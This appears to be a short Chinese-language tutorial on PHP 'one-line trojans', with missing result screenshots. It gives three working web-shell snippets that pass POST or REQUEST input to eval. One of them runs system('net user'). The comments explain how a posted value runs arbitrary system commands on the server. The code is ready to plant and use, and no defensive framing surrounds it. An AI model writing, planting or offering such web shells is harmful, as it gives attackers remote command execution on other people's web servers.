PHP一句話木馬

一：

關於PHP的一句話木馬：

1 <?php 2 
3 $a=$_POST['H']; 4 eval("$a");//eval會將輸入的$a做爲php語句執行，所以只要對_賦必定的system命令值，就可以執行系統命令 5 
6 ?>

 

顯示結果：

 

二：

關於PHP的一句話木馬：

1 <?php 2 $string=@$_POST["_"]; 3 var_dump($string); 4 
5 echo "<br>"; 6 eval("system('net user');"); 7 
8 ?>

 

當POST參數_的值爲空時：

 

 當不爲空時：

三：

 使用REQUEST方法：

1 <?php 2 
3 @eval($_REQUEST[_]);//什麼類型的，如POST，GET都可以接收
4 
5 ?>

 

顯示結果：

GET型：

POST型：